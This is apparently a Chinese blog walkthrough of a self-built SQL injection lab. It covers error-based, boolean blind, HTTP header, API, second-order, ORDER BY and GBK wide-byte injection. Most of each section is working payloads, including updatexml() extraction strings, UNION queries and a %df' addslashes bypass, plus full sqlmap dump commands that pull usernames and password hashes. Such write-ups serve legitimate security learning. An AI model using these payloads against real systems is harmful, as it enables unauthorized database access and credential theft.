这篇文章记录一次我在 自建 SQL 注入靶场中的完整渗透过程。
整个靶场主要涉及几种经典 SQL 注入类型:

  • 报错注入(Error Based)
  • 布尔盲注(Boolean Blind)
  • HTTP Header 注入
  • API 接口注入
  • 二阶注入(Second Order Injection)

本文尽量按照 真实渗透过程进行记录,同时也会加入一些思路解释,方便刚接触 SQL 注入的朋友理解。


实验环境

攻击机环境:

Kali Linux

主要使用工具:

Burp Suite
sqlmap
浏览器

目标靶场:

自建 SQL 注入靶场

靶场地址:

http://10.10.1.97:8085

数据库类型:

MySQL

第三靶场:报错注入

进入靶场后,可以发现输入框会返回数据库报错信息,这基本可以判断为 报错注入

MySQL 中常见用于报错注入的函数有:

updatexml()
extractvalue()

这里使用的是 updatexml()

首先获取当前数据库名:

' and updatexml(1, concat(0x7e, (database()), 0x7e), 1) --

这里的思路是:

  • database() 获取数据库名
  • concat() 拼接字符串
  • 0x7e~
  • updatexml() 在 XML 解析失败时会返回报错
  • 报错内容中就会包含我们拼接的数据

执行后页面会回显数据库名。


接下来开始枚举表名。

正常情况下可以直接使用 group_concat()

' and updatexml(1, concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema='sqli_labs'), 0x7e), 1) --

这里利用了:

information_schema.tables

用于获取数据库中的所有表。

但是这个靶场有个问题:
报错信息长度有限制,表名无法完整显示。

因此改用 limit 枚举表名

' and updatexml(1, concat(0x7e, (select table_name from information_schema.tables where table_schema='sqli_labs' limit 8,1), 0x7e), 1) --

最终在 第八张表发现:

sys_users

接下来开始枚举字段。

' and updatexml(1, concat(0x7e, (select column_name from information_schema.columns where table_name='sys_users' limit 1,1), 0x7e), 1) --

成功发现字段:

username
password

最后开始读取数据:

' and updatexml(1, concat(0x7e, (select concat(username, 0x3a, password) from sys_users limit 0,1), 0x7e), 1) --

成功获取账号密码:

admin:0192023a7bbd73250516f069d

破解后得到:

admin123

第四靶场:布尔盲注

进入第四靶场后,可以发现页面没有明显报错,但是 页面内容会发生变化

通过简单测试发现存在注入:

YX-2020-001' AND 1=1
YX-2020-001' AND 1=2

当条件成立和不成立时页面不同。

这说明这里是 布尔盲注


为什么不手工盲注

布尔盲注的原理是:

通过 大量 True / False 判断逐位获取数据。

例如:

判断数据库名长度
判断字符 ASCII
逐字符猜解

这种方式如果手工操作:

  • 非常慢
  • 容易出错

因此一般直接使用 sqlmap 自动化


使用 sqlmap 获取数据库

首先跑数据库:

sqlmap -u " http://10.10.1.97:8085/employee?emp_no=YX-2020-001 " --dbs --batch

参数解释:

-u       指定目标 URL
--dbs 枚举数据库
--batch 自动回答所有问题


枚举表

sqlmap -u " http://10.10.1.97:8085/employee?emp_no=YX-2020-001 " -D sqli_labs --tables --batch

参数解释:

-D          指定数据库
--tables 枚举表

枚举字段

sqlmap -u " http://10.10.1.97:8085/employee?emp_no=YX-2020-001 " -D sqli_labs -T sys_users --columns --batch

参数说明:

-T          指定表
--columns 枚举字段

导出数据

sqlmap -u "http://10.10.1.97:8085/employee?emp_no=YX-2020-001" -D sqli_labs -T sys_users -C "username,password" -dump --batch

参数解释:

-C       指定字段
-dump 导出数据

最终成功获取数据库用户信息。


第六靶场:HTTP Header 注入

这一关是 HTTP 头注入

页面对提交的内容进行了过滤,但是 HTTP Header 没有过滤

尤其是:

X-Forwarded-For

使用 Burp 进行手动注入

首先使用 Burp Suite 抓包。

在请求头中加入:

X-Forwarded-For: 1' or updatexml(1,concat(0x7e,database(),0x7e),1) or '

这时候数据库会返回报错信息,从而泄露数据库名。


使用 sqlmap 自动化

这里可以把 Burp 抓到的请求保存为:

header.txt

然后交给 sqlmap:

sqlmap -r header.txt --technique E --dbms mysql --level 5 --risk 3 --parse-errors --batch -D sqli_labs --tables

参数解释:

-r              从请求文件读取
--technique E 只使用报错注入
--dbms mysql 指定数据库
--level 5 提高检测等级
--risk 3 提高风险等级
--parse-errors 解析数据库报错

获取数据

sqlmap -r header.txt --technique E --level 5 --risk 3 -D sqli_labs -T sys_users -C "username,password" -dump --batch

成功获取数据库数据。


第七靶场:API 接口注入

这一关是 API 接口注入

首先使用 Burp 抓包

发送请求:

POST /api/v1/user/info

输入 payload:

' or '1'='1

观察返回报错:

near '' or '1'='1'

这里有一个重要信息:

报错是从 单引号开始的

这说明后端 SQL 可能是:

SELECT * FROM users WHERE user_id = $user_id

也就是说 user_id 没有加引号

这就是典型的 数字型注入


直接构造注入

1 or 1=1

成功返回数据。


确定列数

接下来使用:

-1 union select 1,2,3,4,5,6,7

成功确定列数为:

7

获取表名

{"user_id": "-1 union select 1,group_concat(table_name),3,4,5,6,7 from information_schema.tables where table_schema='sqli_labs'"}

获取字段

{"user_id": "-1 union select 1,group_concat(column_name),3,4,5,6,7 from information_schema.columns where table_name='sys_users'"}

获取数据

{"user_id":"-1 union select 1,group_concat(username,password),3,4,5,6,7 from sys_users"}

第八靶场:二阶注入

二阶注入和普通 SQL 注入不太一样。

核心原理:

它的核心逻辑是:恶意数据在第一次被存入数据库时是“安全”的(被转义了),但在第二次被读取并使用时,它成为了攻击载荷。

注入过程非常简单

在“用户名”框输入 admin'#(其实只要前面是admin’ 后面注释掉就可以,中间是什么都无所谓,详见下面的后端解释)

密码随便设(如 123456),邮箱随便填。

点击“注册”。


后端发生了什么

后端代码流程大概是:

admin'#

进入程序

程序执行:

addslashes()

变成

admin\'#

数据库执行:

INSERT INTO users (username, ...) VALUES ('admin\'#')

数据库存储时会去掉转义符

最终数据库中保存的是:

admin'#

当程序再次使用这个用户名拼接 SQL 时:

SQL 就会被截断,从而产生注入。

第九靶场:ORDER BY 注入

这一关是一个比较经典但也比较容易忽略的 ORDER BY 注入场景

很多人在做 SQL 注入时习惯直接使用 UNION SELECT,但这里有一个关键点:

在 SQL 语法中:

ORDER BY 后面是不能直接接 UNION 的

正常 SQL 语句:

SELECT * FROM products ORDER BY price

如果存在注入点,SQL 可能变成:

SELECT * FROM products ORDER BY [用户输入]

也就是说,我们的 payload 会被直接拼接到 ORDER BY 后面。

但是由于 ORDER BY 不允许直接 UNION 查询,所以无法像普通 SQL 注入一样直接回显数据。

因此需要采用另外一种思路:

利用数据库报错来回显数据

方法一:利用报错注入

如果后端没有关闭数据库错误信息,那么 报错注入就是最快的方式

常见的 MySQL 报错函数:

updatexml()
extractvalue()

这里使用 updatexml()


获取数据库名

在 URL 的 sort 参数后构造 payload:

?sort=updatexml(1,concat(0x7e,(select database()),0x7e),1)

原理:

database()        获取数据库名
concat() 拼接字符串
0x7e ~ 用于标识数据
updatexml() 解析 XML 报错

数据库报错信息中会包含我们拼接的数据。


获取表名

接下来枚举数据库中的表:

http://10.10.1.97:8085/products?sort=updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() ),0x7e),1)

这里利用的是:

information_schema.tables

用于获取数据库中的所有表。

但是这个靶场有一个限制:

报错信息长度有限

因此无法一次性显示所有表名。

所以需要使用 limit 逐个枚举。


逐个枚举表名

http://10.10.1.97:8085/products?sort=updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 8,1),0x7e),1)

最终在第 八个表中发现:

sys_users

后续步骤和前面靶场基本一致:

枚举字段
读取数据

方法二:使用 SQLMap 自动化

如果不想手动枚举,也可以直接使用 sqlmap。

命令如下:

sqlmap -u "http://10.10.1.97:8085/products?sort=price*" --technique E --level 5 --risk 3 --batch --dbs

参数解释:

-u              指定目标URL
--technique E 只使用报错注入
--level 5 提高检测等级
--risk 3 提高攻击强度
--batch 自动回答问题
--dbs 枚举数据库

获取数据库数据

继续执行:

sqlmap -u "http://10.10.1.97:8085/products?sort=price*" --technique E --level 5 --risk 3 --batch -D sqli_labs -T sys_users -C "username,password" -dump

参数说明:

-D       指定数据库
-T 指定表
-C 指定字段
-dump 导出数据

SQLMap 会自动完成:

枚举数据库
枚举表
枚举字段
导出数据

第十靶场:宽字节注入

这一关是 宽字节注入(Wide Byte Injection)

这种漏洞利用的是:

字符编码差异

来绕过服务器的过滤机制。


漏洞原理分析

很多 Web 程序会使用:addslashes()来防止 SQL 注入。

例如输入:

'

会被转换成:

\'

在十六进制中:

'  = 0x27
\ = 0x5c

因此:

'  →  5c 27

这样单引号就被转义了,无法再闭合 SQL 语句。


GBK 编码特性

GBK 是一种 双字节编码

规则是:

如果第一个字节在 0x81–0xFE
数据库会强行把后面一个字节一起解析

例如:

df 5c

在 GBK 中会被认为是 一个汉字


攻击过程

攻击思路是:

在单引号前加入:

%df

payload 变成:

%df'

经过 addslashes() 处理后:

%df\'

十六进制:

df 5c 27

当数据库使用 GBK 解析 时:

df 5c → 一个汉字

结果:

反斜杠被吞掉

单引号重新出现:

27

于是 SQL 语句重新被闭合,注入成功。


为什么不能直接在登录框注入

这里有一个很重要的细节:

浏览器输入的是字符
Burp 修改的是字节

浏览器会自动进行 URL 编码,因此 payload 可能被改变。

所以宽字节注入一般需要:使用 Burp Suite 修改原始请求


使用 SQLMap 自动化

SQLMap 内置了处理宽字节注入的 tamper 脚本。

命令如下:

sqlmap -u "http://10.10.1.97:8085/admin/login" --data "username=admin&password=123" --tamper=unmagicquotes --dbs --batch

参数解释:

--data                指定 POST 请求参数
--tamper 使用绕过脚本
--tamper=unmagicquotes 绕过 addslashes()
--dbs 枚举数据库
--batch 自动回答问题

手动指定注入点

如果 SQLMap 没有识别到注入点,可以手动指定:

--data "username=admin%df*&password=123"

其中:

* 表示注入点

进阶技巧

如果 unmagicquotes 不生效,可以尝试:

--tamper=gbk.py

某些 SQLMap 版本包含该脚本,可以专门处理 GBK 宽字节问题


总结

到这里整个 SQL 注入靶场基本就全部完成了。

本次靶场一共涉及多种 SQL 注入类型:

报错注入
布尔盲注
HTTP Header 注入
API 注入
二阶注入
ORDER BY 注入
宽字节注入

在真实渗透测试中,不同场景会使用不同的注入方式。

一些比较重要的经验:

报错注入效率最高
盲注建议直接使用 sqlmap 自动化
HTTP Header 注入经常出现在日志记录功能中
API 接口需要特别注意数字型注入
宽字节注入通常出现在 GBK 编码环境
ORDER BY 注入无法直接 UNION,需要借助报错

SQL 注入虽然是一个非常经典的漏洞,但在很多系统中仍然非常常见,因此在渗透测试中依然是非常重要的一个攻击面。

此作者没有提供个人介绍。
最后更新于 2026-03-10